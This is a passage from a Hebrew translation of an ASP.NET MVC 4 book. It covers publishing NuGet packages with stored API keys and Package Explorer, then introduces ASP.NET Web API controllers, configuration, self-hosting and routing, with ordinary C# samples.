APIכפי שקרה למפתח שלי כתוצאה מהוספת ,  חדש במקרה שהמפתח הישן שלכם נחשף

 . תצלום המסך הזה לספר
כדי .  שלכםAPIעליכם לספק את מפתח , NuGet של pushכאשר אתם משתמשים בפקודה 

אתם , pushפתח בכל פעם שאתם משתמשים בפקודה לחסוך הקלדות חוזרות ונשנות של המ
 שלכם API כדי לגרום למנהל החבילות לזכור את מפתח setApiKeyיכולים להשתמש בפקודות 

 . setApiKey תמצאו דוגמה לשימוש בפקודת 10-24בתרשים . על ידי אחסונו בצורה מאובטחת

 

 10-24תרשים 
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 Windows 7במחשב , לדוגמה.  שלכםRoaming בפרופיל NuGet.config נשמר בקובץ APIמפתח 
 . C:\Users\Haacked\AppData\Roaming\NuGet\NuGet.configהמפתח מאוחסן בנתיב , שלי

 pushהוא להזין את הפקודה , כל שעליכם לעשות כדי לפרסם חבילה, לאחר שמירת המפתח
 . 10-25כפי שמוצג בתרשים ,  שברצונכם לפרסםnupkgקובץ ולספק את 

 

 10-25רשים ת

שיח או -ותהיה זמינה להתקנה באמצעות תיבת הדו, החבילה תצורף באופן מיידי לערוץ
 ). עשוי לקחת מספר דקותnuget.orgעדכון החבילה באתר שימו לב ש (NuGetהמסוף של 

 Package Explorer שימוש ביישום 

, בעיקרון. הלכהייתכן שתרצו לבדוק אותה כדי לוודא שהיא נארזה כ, לאחר בניית החבילה
 ולפתוח את zip-תוכלו לשנות את סיומת הקובץ ל. zip הן למעשה קבצי NuGetחבילות 

 . תכולתו כדי להיווכח בזאת בעצמכם

אבל דרך פשוטה יותר לבחון זאת היא להשתמש , חשוב לדעת כיצד לבחון את תכולת החבילה
 NuGet של CodePlexדה מדף  שניתן להורClickOnceזהו יישום . Package Explorerביישום 
 . http://nuget.codeplex.com/releasesבכתובת 

כדי להציג  nupkg.תוכלו ללחוץ לחיצה כפולה על כל קובץ , Package Explorerלאחר התקנת 
 . 10-26כמוצג בתרשים , את תכולתו

לו  גם לביצוע שינויים מהירים בקבצי החבילה ואפיPackage Explorer- להשתמש בתוכלו
, Edit Package Metadata ותבחרו Editאם תפתחו את תפריט , לדוגמה. חבילות חדשותליצירת 

 . 10-27כמוצג בתרשים , נתוני המטא של החבילה יהיו זמינים לעריכה
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 10-26תרשים 

 

 10-27תרשים 

אם תגררו . ניתן להעביר קבצים בין תיקיות באמצעות גרירה Package Contentsבחלונית 
 Packageיישום ה, מסוימת כלשהיאך לא לתיקייה , Package Contentsכלשהו לחלונית בץ קו

Contentsהיישום , לדוגמה.  יציע לכם לבחור מבין תיקיות אפשריות בהתאם לתוכן הקובץ
 . Tools בתיקייה PowerShell ותסריטי libבתיקייה ) assemblies(יציע לאחסן תוצרי קוד 

 File  על ידי בחירת nupkg.תוכלו לשמור את הקובץ , את החבילה לערוך תסיימולאחר ש
Saveאו באמצעות צירוף המקשים ,  משורת התפריטיםCtrl+S . 

 File  מספק מספר כלים נוחים לפרסום חבילות תחת Package Explorerיישום , כמו כן
Publish .שיח -בחירה באפשרות זו תגרום לפתיחת תיבת הדוPublish Package שבתרשים  
) feed(כדי שהחבילה שלכם תצורף לערוץ , Publish שלכם ולחצו APIהזינו את מפתח . 10-28

 . באופן מיידי
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 10-28תרשים 

 סיכום
,  ומשלים אותה בצורה טובהASP.NET MVC 4 נכלל בתשתית NuGetלמרות שמנהל החבילות 

 NuGet-ניתן להשתמש ב.  בלבדASP.NET MVCאל תחשבו לרגע שמדובר בכלי ייעודי של 
אתם בונים כאשר . Visual Studioכמעט בכל סוג של פרויקט שנבנה בסביבת להתקנת חבילות 

 .  שזמינות למטרה זוNuGetתוכלו להיעזר בכמה חבילות ,  למשלWindows Phoneאפליקציית 

ה כלי  מהווNuGetנציין שוב שהמוצר , ASP.NET MVC 4מכיוון שספר זה עוסק בבניית יישומי 
אשר מעמיד לרשותכם מגוון רחב של חבילות שמנצלות את היכולות המובנות , עזר מצוין

 . ASP.NET MVCת של והייחודי

 כדי לחבר באופן אוטומטי את ספריית Autofac.Mvc4תוכלו להתקין את החבילה , לדוגמה
את החבילה תוכלו גם להתקין .  בתור מפענח התלויות בפרויקט שלכםAutofacהזרקת התלויות 
MvcScaffolding כדי להוסיף תבניות scaffolding שיח -חדשות לתיבת הדוAdd Controller . 

אל תסתפקו בכיווץ , כשתהיו מוכנים לשתף ספרייה שימושית משלכם עם קהילת המפתחים
 כדי לאפשר לעמיתכם NuGetאלא ארזו אותה בתור חבילת ,  והעלאתה לרשתzipשלה לקובץ 

 . ן בקלות רבה את יצירתכם המושקעתלמצוא ולהתקי
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 11פרק 

 ASP.NET Web APIהתשתית 

Brad Wilson 

 

 עיקרי הפרק

  הגדרתASP.NET Web API 

  צעדים ראשונים עםWeb API  

  כתיבת בקרAPI 

  הגדרות תצורה עםWeb API 

  השוואת הניתוב שלWeb API לעומת MVC 

 קישור פרמטרים 

 סינון בקשות 

 אפשור הזרקת תלויות 

  סקירת ממשקיAPIעל ידי תכנות  

 שוםמעקב יי 

 

 WCF  )Windows Communication  והלקוחות שלצוותהחברי נוצר על ידי  Web APIפרויקט 

Foundation( , אשר חיפשו כלי שיוכלו להפעיל בשילוב הדוק עם פרוטוקולHTTP . הגישות
שנועדו להסתיר מנגנונים כגון ,  כללו בעיקר הפשטותWCFהקודמות לתכנות שירותי רשת של 

:  הייתה להפוך את התהליך מן היסודWeb APIהמטרה של . ובלת הנתוניםפרטי שכבת רכיב ה
ובמקומן לספק למתכנת גישה ישירה לכל ההיבטים , WCFלהוריד ממנו את רוב השכבות של 

 אשר פותחה בקוד פתוח עם שחרורים תכופים של -תשתית חדשה זו . HTTPשל תכנות 
 שרצו שליטה מלאה על תהליך WCFסיפקה חלופה אמיתית ללקוחות , גרסאות מקדימות

 . ולא יותר מזה, HTTPהתכנות 
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 ושל ASP.NET MVCתרם הארגון מחדש של צוותי הפיתוח לאיחוד הצוותים של , 2011בשנת 
WCF Web API תחת הנהגתו של Scott Guthrie , אשר פעל מזה זמן רב למיזוג שתי קבוצות

 לכתיבת ממשקי תכנות ASP.NETהפיתוח כדי לאפשר ללקוחות לנצל את הידע שלהם על 
הצוותים החלו מיד לעבוד על שילוב הרעיונות הטובים ביותר . עבור האינטרנט) API(יישומים 

אשר מצורף כיום לכל עותק תוכנה של , ASP.NET Web APIוכך נוצר , בשתי הפלטפורמות
ASP.NET MVC 4 . 

 ASP.NET Web APIהגדרת 
ותר כמעט בכל אפיקי התקשורת הדיגיטלית  ממלא תפקיד מרכזי ביHTTPפרוטוקול 
 מזה HTTPבכל המחשבים שלנו מותקנים דפדפנים שמדברים זה עם זה בשפת . המודרנית
ורבים מאיתנו נושאים עוצמות מחשוב לא מבוטלות שמוטמנות בכיסנו ,  שנה20-למעלה מ

 JSON- ובHTTP- קרובות בלעתיםאפליקציות הטלפון משתמשות . בצורת טלפונים חכמים
כל עוד אינו מציע סוג , "מושלם"יישום רשת מודרני לא נחשב . בתור ערוצי התקשורת שלהם

 .  שמספק גישה מרוחקתAPIכלשהו של 

תשתית : "אני בדרך כלל אומר, Web API מבקשים ממני הסבר קצר על MVCכאשר מפתחי 
ASP.NET MVC טובה לקבלת נתוני טופס והפקת HTML ; תשתיתASP.NET Web API מיועדת 

 מספקת אומנם תמיכה MVCתשתית ". XML- וJSONלקבלה והפקה של נתונים מובנים כגון 
אבל , )JSONוספק ערכי  JsonResultבאמצעות (נתונים מובנים מינימלית לקבלה והעברת של 

 : וביניהם, APIיש לה מספר פערים שעשויים להיות משמעותיים ביותר למתכנתי 

  הוראות גישה לפעולות על סמךHTTPבמקום שם הפעולה  . 

 לא רק (עצמים -קבלה והפקה של תכנים שאינם בהכרח מוכווניXML , אלא גם תכנים
 ). VCARD או רשומות PDFקבצי , כגון תמונות

  יכולת שליטה על סוג הערך המוחזר אשר מאפשר למפתח לקבל ולהפיק תכנים מובנים
 . שלהם בייצוג המקווןתלוי באופן בלתי 

 מחוץ למחסנית זמן הריצה של אירוח ASP.NET ושרת האינטרנט ISS , משהו שאפשר
 .  כבר שניםWCFלעשות עם 

 השקיע מאמצים רבים במטרה לאפשר למפתחים לנצל את שיטות Web APIצוות , עם זאת
הזרקת , קישור למודל, מסננים, פעולות, כולל בקרים, ASP.NET MVCהעבודה המוכרות של 

והדבר ,  בצורה מאוד דומהWeb API גדול מהתפיסות הללו מיושמות בתשתית חלק. תלויות ועוד
 . Web API עם MVCתורם רבות לתחושת האחידות והאינטגרציה ביישומים שמשלבים את 

 ספר ASP.NET Web APIייתכן שראוי להקדיש לנושא , ימכיוון שלפנינו תשתית חדשה למד
, Web API לבין MVCי הדמיון והשוני שבין ננסה בפרק זה להמחיש את קוו, עד אז. נפרד

 .  שלכםMVC בפרויקטי Web APIולעזור לכם להחליט אם רצוי לשלב ממשקי 
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 Web APIצעדים ראשונים עם 
 Visual וזמינה כתוסף עבור Visual Studio 2012 נכללת בחבילת ASP.NET MVC 4תשתית 

Studio 2010 SP1 . אשף ההתקנה כולל את כל הרכיבים שלASP.NET Web API . 

 כוללות את הקבצים הבינריים וקבצי התצורה הנחוצים כדי לתמוך MVCכל תבניות הפרויקט של 
ההבדל היחיד ביניהן הוא הקבצים לדוגמה שמוספים .  כאחדWeb API ובקוד MVCבקוד 

היא היחידה שכוללת ) 11-1ראו תרשים " (Web API"התבנית . לפרויקט על פי ברירת מחדל
 Web API או MVC -באפשרותכם להוסיף לפרויקט קיים בקרים משני הסוגים .  לדוגמהAPIבקר 

 Addאו דרך תפריט הקיצור , Visual Studio משורת התפריטים של File  New על ידי בחירת -
 Controller בחלונית Solution Explorer . התשתית מספקת גם תבניות להפקת בקרים עם קוד

 .  עבור כל פעולות הכתיבה והקריאהEntity Frameworkונים של גישה לבסיסי נת

 

 11-1תרשים 

 APIכתיבת בקר 
שתי תשתיות אלו משתמשות . ASP.NET MVC כלולה בחבילת ההתקנה של Web APIתשתית 
-model-view(בקר -תצוגה- אינה מבוססת על עיצוב מודלWeb APIאולם תשתית , בבקרים

controller ( שלASP.NET MVC . העיקרון של מיפוי בקשותHTTP לפעולות בקר משותף לשתי 
 מממשת את אובייקט המודל Web APIתשתית , MVCבשונה מתשתית , עם זאת. התשתיות
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המתקבל כתגובה ישירה ואינה משתמשת בתבניות פלט ובמנועי תצוגה למימוש תוצאות 
 העיצוב הרבים שבין בקרי השוני המהותי הזה בין שתי התשתיות הוא המקור להבדלי. פעולה

Web API לבין אלה של בקרי MVC . בסעיף זה נציג את השלבים הבסיסיים לכתיבת בקר
 . Web APIשל ) actions(ופעולות 

 ValuesControllerסקירת הבקר לדוגמה 

 מוצג הבקר לדוגמה שנוסף לכל פרויקט חדש שנוצר באמצעות תבנית פרויקט 11-1 קודב
Web API .אשון שבולט לעין הוא מחלקת הבסיס החדשה שממנה יורש הבקר ההבדל הרAPI .

 . ApiControllerזוהי המחלקה 

 ValuesController: 11-1קוד 

using System; 

using System.Collections.Generic; 

using System.Linq; 

using System.Net; 

using System.Net.Http; 

using System.Web.Http; 

 

namespace WebApiSample.Controllers 

{ 

 public class ValuesController : ApiController { 

  // GET api/values 

  public IEnumerable<string> Get() { 

   return new string[] { "value1", "value2" }; 

  } 

 

  // GET api/values/5 

  public string Get(int id) { 

   return "value"; 

  } 

 

  // POST api/values 

  public void Post([FromBody] string value) { 

  } 

 

  // PUT api/values/5 

  public void Put(int id, [FromBody] string value) { 

  } 

 

  // DELETE api/values/5 

  public void Delete(int id) { 

  } 

 } 

} 
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. ההבדל השני הוא בכך שהשיטות שמכיל הבקר מחזירות אובייקטים גולמיים ולא תצוגות
 מומרים APIהאובייקטים שמוחזרים על ידי בקרי , HTMLבמקום להחזיר תצוגות בפורמט 

 ). התהליך המדויק יוסבר בהמשך(לפורמט שתואם בצורה הטובה ביותר את דרישות הבקשה 

בעוד . Web API לבין MVCמוסכמות הגישה שיש בין ההבדל השלישי נובע מהבדלים ב
הפנייה על פי ברירת מחדל לפעולות בקרי ,  הינה תמיד לפי שםMVC בקרי לשהפנייה א

Web API נעשית באמצעות הוראת HTTP) HTTP verb .( ניתן אומנם לחרוג מן המקובל
, בור גישה לפעולות ע[HttpPost] או [HttpGet]ולהשתמש בהוראות כדי לעקוף תכונות כגון 

השמות של שיטות . אולם השם של רוב הפעולות שמבוססות על הוראות יתחיל בשם ההוראה
אך באותה מידה יכלו רק להתחיל , הפעולה בבקר לדוגמה חופפים לגמרי לשמות ההוראות

 ). GET ניתן להפעיל באמצעות הוראת GetValues- וGetכלומר את הפעולות (בשמות ההוראות 

, System.Web.Http מוגדרת במרחב השמות ApiControllerגם לציין שמחלקת הבסיס כדאי 
 הסיבה לכך תתבהר כאשר .System.Web.Mvc אשר מוגדרת תחת Controllerבשונה מהמחלקה 

 . עצמי בהמשך הפרק-נעסוק באירוח

-תקלמהווה מעטפת , NET 4.5.אשר נוספה לגרסה , System.Net.Httpהספרייה  הערה
 בחר Web APIצוות הפיתוח של .  בצד הלקוח והשרת כאחדHTTPעבור יישומי  משקל

מכיוון שהספרייה אינה קשורה באופן , להשתמש בהפשטה החדשה הזו לייצוג בקשות ותגובות
שתי הפלטפורמות המארחות , WCF או ASP.NETבין אם זו (ישיר לפלטפורמה מארחת כלשהי 

 ). Web APIשל 

איך ייתכן שאפשר להשתמש בספרייה , NET 4. נתמכות על ידי Web API וגם MVC 4אם גם 
System.Net.Http של .NET 4.5 ? לצוותWeb API יש הרשאה להתאים את הספרייה החדשה 

ושל  (MVC 4רי של הספרייה להתקנה של אולצרף עותק בינ,  המיושנת יותרNET 4.לגרסה 
NuGet ( כדי לאפשר ליישומיWeb APIלהשתמש בה גם  NET 4 . 

 בהמשך הפרק כאשר נדון בהבדלים ביישום של System.Net.Httpספרייה נסקור בהרחבה את ה
 . עצמי-הדברים ובאירוח

 IHttpController: אסינכרוניות ברמת העיצוב

אם נשווה ממשק זה לממשק המחלקה . ApiController מוצג הממשק של 11-2בדוגמה 
Controller  שלMVC ,הבקרההקשר של (זהים למנטיםנבחין שחלק מהא  ,ModelState , מחלקת

 של HttpRequestMessage היא Request(אך לא לגמרי זהים , חלקם דומים, )Url ,Userסייעי 
System.Net.Http ולא HttpRequestBase של System.Web( , וחלקם פשוט הושמטו) הבולטים
 ).ActionResult ושיטות להפקת Responseביותר הם היעדר 
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 ApiControllerממשק ציבורי : 11-2 קוד

namespace System.Web.Http { 

 public abstract class ApiController : IHttpController, IDisposable { 

  public HttpConfiguration Configuration { get; set; } 

  public HttpControllerContext ControllerContext { get; set; } 

  public ModelStateDictionary ModelState { get; } 

  public HttpRequestMessage Request { get; set; } 

  public UrlHelper Url { get; set; } 

  public IPrincipal User { get; } 

 

  public virtual Task<HttpResponseMessage> ExecuteAsync( 

   HttpControllerContext controllerContext, 

   CancellationToken cancellationToken); 

 

  protected virtual void Initialize( 

  HttpControllerContext controllerContext); 

 } 

} 

וכמשתמע משם , IHttpController מגיעה מממשק ApiController במחלקה ExecuteAsyncהשיטה 
כאשר אתם עובדים עם .  מתנהגים בצורה אסינכרונית ברמת העיצובWeb APIכל בקרי , השיטה

Web APIגם ברור שצינור .  אין צורך ביצירת מחלקה נפרדת לפעולת סינכרוניות ואסינכרוניות
מכיוון שבמקום גישה לאובייקט ,  ASP.NETם כאן שונה לגמרי מזה של העברת הנתוני

Response , בקריAPI נדרשים להחזיר אובייקט תגובה מטיפוס HttpResponseMessage . 

 יוצרות את הבסיס HttpResponseMessage  וגם המחלקה HttpRequestMessageגם המחלקה 
 העיצוב של המחלקות הללו מאוד שונה .System.Net.Httpשמספקת ספריית  HTTPלתמיכת 

המטפלים במחסנית הזו מקבלים הודעת : ASP.NETלעומת מחלקות זמן הריצה היסודיות של 
 System.Net.Httpמחלקות של ל, ASP.NET -בשונה מ.  הודעת תגובהרונדרשים להחזיבקשה 

שנגזרת משמעות נוספת . אין שיטות סטטיות שמספקות גישה למידע על בקשות יוצאות
המפתח צריך להחזיר , )Response(לזרם תגובה הזה היא שבמקום לכתוב ישירות מהשוני 

 ). ובהמשך יכול גם לממש אותו אם יש צורך בכך(אובייקט שמתאר את התגובה 

 פרמטרי הפעולה

ובדיוק כמו , שלכם) action(תוכלו להוסיף פרמטרים לפעולה , כדי לקבל ערכים מהבקשה
MVC , גם תשתיתWeb APIאולם .  דואגת לספק ערכים לפרמטרים הללו באופן אוטומטי

 לבין ערכים HTTPיש הפרדה ברורה בין ערכים שמתקבלים מגוף בקשת , MVC-בשונה מ
 ). URIכגון (שמתקבלים ממקורות אחרים 



 ASP.NET Web API   313 התשתית :11פרק 

כלומר ( מסתמכת על ההנחה שפרמטרים מטיפוס פשוט Web APIתשתית , על פי ברירת מחדל
מוזנים ) שעות וכל ערך נוסף המומר ממחרוזת, תאריכים, ודיים כמו מחרוזותהטיפוסים היס

מוזנים ) כל שאר הטיפוסים(ופרמטרים מטיפוס מורכב , בערכים ממקור שאינו גוף הבקשה
 . רק ערך יחיד יכול להתקבל מגוף הבקשה: יש מגבלות נוספות. בערכים מגוף הבקשה

 מטופלים על ידי מערכת קישור למודל אשר פרמטרים נכנסים שאינם מהווים חלק מהגוף
מטופלים בגישה חדשה לחלוטין , לעומת זאת, גופים נכנסים ויוצאים. MVCדומה לזו של 

 . בהמשך נדון בהרחבה בקישור למודל ובמפרמטים). formatters" (מפרמטים"שמכונה 

 שגיאות ואסינכרוניות, ערכים מוחזרים של פעולה

כפי שניתן . ים חזרה אל הלקוח על ידי הערך המוחזר של הפעולה שולחים ערכWeb APIבקרי 
 HttpResponseMessage יכולות להחזיר Web APIפעולות , ExecuteAsyncלנחש מהחתימה של 

מבחינות מסוימות הדבר דומה לטיפוס המוחזר . כייצוג של התגובה שתוחזר ללקוח
ActionResult בפעולות MVC ,ה היא פעולה ברמה נמוכה למדי אולם החזרת אובייקט תגוב

)low-level( , ולכן בקריWeb API כמעט תמיד מחזירים במקום זה ערך אובייקט גולמי ) או רצף
 ). של ערכים

 ממירה אותו באופן אוטומטי לתגובה Web APIתשתית , כאשר פעולה מחזירה אובייקט גולמי
 Content בשם Web APIת באמצעות אפשרו) XML או JSONכגון (מובנית בפורמט המבוקש 

Negotiation .ההרחבה שמבצע את ההמרה הזו-בהמשך הפרק נדון במנגנון בר, כפי שכבר נאמר . 

אבל הוויתור על השימוש בטיפוס דמוי , היכולת להחזיר אובייקט גולמי הינה שימושית ביותר
ActionResultכאשר . היכולת להחזיר ערכים שונים עבור הצלחה וכישלון:  כרוך במחיר

החתימה של הפעולה מגדירה בצורה מפורשת את טיפוס הערך המוחזר שמשמש אותנו 
אם נשנה את ? כיצד נוכל לתמוך בהחזרת ייצוג שונה במקרה של שגיאה, לסימון הצלחה

 . הדבר יסבך את פעולת הבקר, HttpResponseMessageחתימת הפעולה אל 

שרת למפתחים להפיק הודעות שגיאה מסוג   מאפWeb APIתשתית , כדי לתת מענה לדילמה זו
HttpResponseExceptionכדי לציין שהם מחזירים ,  מתוך הפעולות שלהם
HttpResponseMessageהדבר מאפשר לנסח תגובות חדשות .  במקום נתוני אובייקט תקינים

ואז , של התגובות האלו) exceptions(בתוך פעולות במקרה של שגיאה ולזרוק את החריגות 
בצורה זו .  תטפל בזה כאילו הפעולה החזירה את הודעת התגובה באופן ישירWeb APIתשתית 

והמפתחים , תגובות מוצלחות יכולות להמשיך להחזיר את נתוני האובייקט הגולמיים שלהם
 . יכולים להמשיך ליהנות מבדיקות יחידה פשוטות יותר

היא , כלומר(אסינכרונית מטבעה אם הפעולה שלכם : אחרונה בנוגע לערכים מוחזרים הערה
תוכלו לשנות את הערך המוחזר בחתימת השיטה , ) אסינכרוניים אחריםAPIצורכת ממשקי 
כדי להמיר , NET 4.5 של await- וasyncולהשתמש באפשרויות , <Task<Tשלכם לטיפוס 

, <Task<Tכאשר פעולות מחזירות . הרציף שלכם לקוד אסינכרוניבצורה חלקה את הקוד 
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 Tואז שולפת את האובייקט המוחזר מטיפוס , ממתינה לסיום המטלה Web APIשתית ת
 .ומטפלת בו כאילו הוחזר באופן ישיר על ידי הפעולה

 Web APIהגדרת תצורה עם 
 ASP.NETביישומי . Web APIבבקר ) configuration(נשוב להגדרות המאפיינים של התצורה 

, Global.asax בקובץ , במקום מרכזי אחד מבוצעותשל היישוםהגדרות התצורה , מסורתיים
כדי לספק גישה לבקשה  בכל היישום  ובמשתנים שזמיניםהגלובליוהיישום משתמש במצב 

 . ולתצורת היישום

הגדרות ,  אינו כולל משתנים גלובליים סטטיים כאלה ובמקום זהWeb APIהעיצוב של תשתית 
לשוני זה יש שתי השלכות עיקריות על . HttpConfigurationהתצורה מאוחסנות במחלקה 

מכיוון שלכל ( באותו יישום Web APIאתם יכולים להריץ מספר שרתי , ראשית: עיצוב היישום
 אתם יכולים להריץ בדיקות Web APIעם , שנית; )גלובלית עצמאית משלו-תצורה לא" שרת"

-מוכלת באובייקט לאמכיוון שהתצורה הזו ,  בקלות)end to end(מקיפות יחידה ובדיקות 
 : מחלקת התצורה מספקת גישה לפריטים הבאים. גלובלי יחיד

 ניתובים 

 מסננים שמורצים לכל הבקשות 

 כללי קישור פרמטרים 

  מפרמטי)formatters ( ברירת מחדל שמשמשים לקריאה וכתיבה של גוף הודעתHTTP 

  שירות ברירת המחדל המשמשים אתWeb API 

 די המשתמש למטרת הזרקת תלויות בשירותים ובקרים מפענח תלויות שמסופק על י 

  מטפלים בהודעותHTTP 

  כגון דגל להכללת פרטי שגיאהstack traces 

  חבילתProperties שיכולה להכיל ערכים עבור המשתמש  

: אופן היצירה של הגדרות התצורה הללו והגישה אליהן תלויים בסגנון האירוח של היישום
  .WCFח עצמית של ור איסביבתאו ב ASP.NETבתוך 

 יאינטרנט-בסביבת אירוחהגדרת תצורה 

יוצרות פרויקטים  APIשנתמכות על ידי תשתית  MVCפרויקט של כל תבניות ברירת המחדל 
 סוג האירוח היחיד שנתמך ומכיוון שזה, )web-hosted Web API(אינטרנטי -לאירוחשמיועדים 

יישום  התצורה הדרושים לאתחול של קבצי מכילה את App_Startupהתיקייה . MVCעל ידי 
MVC . לממשקי קוד התצורהWeb API נמצא בקובץ WebApiConfig.cs)  או.vb( , ונראה בערך
 : כך

public static class WebApiConfig { 

 public static void Register(HttpConfiguration config) { 
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  config.Routes.MapHttpRoute( 

   name: "DefaultApi", 

   routeTemplate: "api/{controller}/{id}", 

   defaults: new { id = RouteParameter.Optional } 

  ); 

 } 

} 

קובץ ברירת המחדל . תוכלו לשנות את הקובץ הזה כדי לשלוט בהתנהגות של היישום שלכם
 . מכיל הגדרת ניתוב יחידה להדגמה

אה לפונקציית התצורה הזו כוללת העברה של תראו שהקרי, Global.asaxפתחו את תאם 
 תומכים רק web-hosted Web APIיישומי . GlobalConfiguration.Configurationאובייקט בשם 

 המחויבות -והאחריות ליצירתם אינה מוטלת על המפתח , בשרת יחיד וקובץ תצורה יחיד
 שוכנת בתוצר הקוד  GlobalConfigurationהמחלקה . היחידה שלכם היא להגדירם בצורה נכונה

System.Web.Http.WebHost.dll , לממשקי וכך גם שאר התשתיות שמספקות תמיכהWeb API 
 . אינטרנטי-בסביבת אירוח

 עצמי-בסביבת אירוחהגדרת תצורה 

 self-hosted Web(עצמי - אירוחהיא Web API השנייה שנתמכת על ידי תשתית סביבת האירוח

API (מבוסס-WCF . 
 . System.Web.Http.SelfHost.dll שוכן בתוצר הקוד עבור סביבת האירוח הזוהקוד 

עצמי ניתן -שבסביבת אירוח, עצמי היא-הסיבה שאין תבניות פרויקט מובנות עם אירוח
או בתוך , ניתן לבצע את האירוח בסביבת יישום מסוף. להשתמש בפרויקט מכל סוג שנרצה

 Web APIהדרך הפשוטה ביותר להרצת ממשק . Windows Serviceבתור ואפילו , GUIיישום 
נקראת  (Web APIהעצמי של -ביישום שמפתחים היא להתקין את חבילות האירוח

Microsoft.AspNet.WebApi.SelfHost( באמצעות NuGet ,ן באופן אוטומטי את יאשר גם יתק
 . System.Web.Http- וSystem.Net.Httpהתלויות 

ים על יצירת התצורה ועל ההפעלה והכיבוי של אתם אחרא, יעצמ-כאשר משתמשים באירוח
עליכם ליצור מופע אובייקט של מחלקת התצורה .  על פי הצורךWeb APIשרת 

HttpSelfHostConfiguration , אשר מרחיבה את מחלקת הבסיס.HttpConfiguration לאחר 
 ואז להתחיל HttpSelfHostServerהגדרת התצורה יש ליצור מופע אובייקט מסוג המחלקה 

 :עצמי-דוגמה לקוד אתחול לאירוח. להאזין לבקשות נכנסות

var config = new HttpSelfHostConfiguration("http://localhost:8080/"); 

 

config.Routes.MapHttpRoute( 

 name: "DefaultApi", 

 routeTemplate: "api/{controller}/{id}", 

 defaults: new { id = RouteParameter.Optional } 

); 
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var server = new HttpSelfHostServer(config); 

server.OpenAsync().Wait(); 

 : בסיום העבודה עם השרת יש לכבותו
server.CloseAsync().Wait(); 

יש להניח שתריצו את הקוד הזה בפונקצייה , עצמי ביישום המסוף-כאשר משתמשים באירוח
Mainעליכם לאתר את המיקום המתאים ,  עם סוגי יישומים אחריםעצמי-לאירוח.  שלכם

) וצריך(ניתן , בשני המקרים. והציבו בו את הקוד, להרצת קוד האתחול והכיבוי של היישום
בתנאי שתשתית , )await- וasyncבאמצעות (בקוד אסינכרוני , ()wait.להחליף את הקריאה 

 . כיבוי אסינכרוניפיתוח היישום שלכם מתירה כתיבה של קוד אתחול ו

 Web APIהוספת ניתובים לממשק 
 Web APIהאמצעי העיקרי שמשמש לרישום ניתובים בתשתית , כפי שהוסבר בסעיף הקודם

תצורת , Web APIבדומה לכל הגדרות התצורה בסביבת . MapHttpRouteהוא שיטת ההרחבה 
 . HttpConfigurationהניתובים ביישום נקבעת באמצעות האובייקט 

 מצביע על מופע אובייקט של Routesנגלה שהמאפיין , ם נבחן את תוכן אובייקט התצורהא
 Webתשתית . ASP.NET של RouteCollectionולא של המחלקה , HttpRouteCollectionהמחלקה 

API מספקת מספר גרסאות של MapHttpRoute שיכולות לעבוד ישירות מול מחלקת 
RouteCollection של ASP.NET ,לם בניתובים שמוגדרים בצורה כזו ניתן להשתמש רק או
) ותבנית הפרויקט מעודדת זאת(ולכן אנו ממליצים , )web-host(אינטרנטי -בסביבת אירוח

 . HttpRouteCollection שבאוסף MapHttpRouteשתשתמשו בגרסאות של 

 MVCמשתמשת במנגנון ניתוב אשר זהה למנגנון שמשמש את  Web APIמערכת הניתוב של 
כל המושגים , על כן.  של היישוםAPI יש לנתב לבקרי URIכדי לקבוע אילו כתובות 

כולל תבניות התאמת , Web API תקפים גם ליישומי MVCוהטכניקות שלמדנו בהקשר של 
  Web APIכדי למנוע תלות משמעותית של . ערכי ברירת מחדל ואילוצים, ניתובים

 וייבא אותו אל תשתית ASP.NETל קוד הניתוב של צוות הפיתוח יצר עותק ש, ASP.NET -ב
Web API .ההתנהגות של הקוד שונה במקצת בסביבות האירוח השונות. 

,  משתמשת בעותק הפרטי של קוד הניתוב שברשותהWeb APIתשתית , עצמי-בסביבת אירוח
 דומים מאוד Web APIכללי הניתוב ביישומי . ASP.NET מתשתית Web API-אשר מיובא ל

). למשל, Route לעומת HttpRoute(למעט הבדלים זעירים בשמות המחלקות , MVCלה של לא
 . העצמי-האירוח  מוצג מהלך11-2בתרשים 
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  11-2תרשים 

 משתמשת Web APIתשתית , )web-hosted(אינטרנטי -אירוחכאשר היישום פועל בסביבת 
מכיוון שהיישום כבר משולב בצינור הבקשה של , ASP.NETבמנוע הניתוב המובנה של 

ASP.NET .בנוסף להרשמה של אובייקטי , בעת רישום ניתובים בסביבת האירוח האינטרנטית
HttpRouteהמערכת גם יוצרת באופן אוטומטי אובייקטי מעטפת מסוג ,  שלכםRoute ורושמת 

אינטרנטי בא -י לבין אירוחעצמ-ההבדל העיקרי בין אירוח. ASP.NETאותם במנוע הניתוב של 
על (אינטרנטי הניתוב מורץ בשלב די מוקדם -בסביבת אירוח: לידי ביטוי בעת הרצת הניתוב

על ידי (מורץ בשלב יחסית מאוחר העצמי הניתוב -בעוד שבתרחיש האירוח, )ASP.NETידי 
Web API .( אתם כותבים מטפל הודעה כאשר)message handler( ,רח חשוב שתדעו שלא בהכ

 11-3בתרשים . מכיוון שייתכן שבשלב זה הניתוב טרם בוצע, תהיה לכם גישה לנתוני ניתוב
 . אינטרנטי-מוצג המהלך בסביבת אירוח

 

  11-3תרשים 

 הוא היעדר המילה Web API ושל MVCההבדל המשמעותי ביותר בין ניתובי ברירת המחדל של 
{action} בניתוב ברירת המחדל של Web API . פעולות , שהוסבר קודםכפיWeb API מטופלות 

באפשרותכם לעקוף .  ששימשה למסירת הבקשהHTTPעל פי ברירת מחדל בהתאם לסוג הוראת 
 actionאו על ידי הוספת ערך ,  בניתוב{action}את המיפוי הזה על ידי שימוש במילות ההתאמה 

 משתמשת Web APIתית תש, actionכאשר ניתוב מכיל ערך . לערכי ברירת המחדל של הניתוב
 . בשם הפעולה הזה כדי להתאים את הבקשה לשיטת הפעולה הרצויה

 WCF-עצמי מבוסס-אירוח
 

HttpServer 
 

 מטפלי הודעות
 

 Web APIניתוב 
 

 APIבקר 

 ASP.NETצינור 
 

 ASP.NETניתוב 
 

HttpServer 
 

 מטפלי הודעות
 

 APIבקר 
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מיפוי ברירת המחדל של הוראות , גם אם אתם משתמשים בניתוב שמבוסס על שם הפעולה
HTTPאם שם הפעולה מתחיל בשם של אחת מההוראות .  עדיין מיושם מבחינות מסוימות

. הפעולה תותאם להוראה הזו, )Options- וGet ,Post ,Put ,Delete, Head ,Patch(העיקריות 
נתמכת על פי שההוראה , לאחת מההוראות העיקריותבשאר המקרים שבהם אין התאמה 

 המאפיין או [HttpXyz]  מומלץ לסמן את הפעולות עם מאפיין סימון.POSTברירת מחדל היא 
[AcceptVerb]מוש כאשר מוסכמות ברירת  כדי לציין את ההוראה או ההוראות המותרות לשי

 . המחדל שגויות

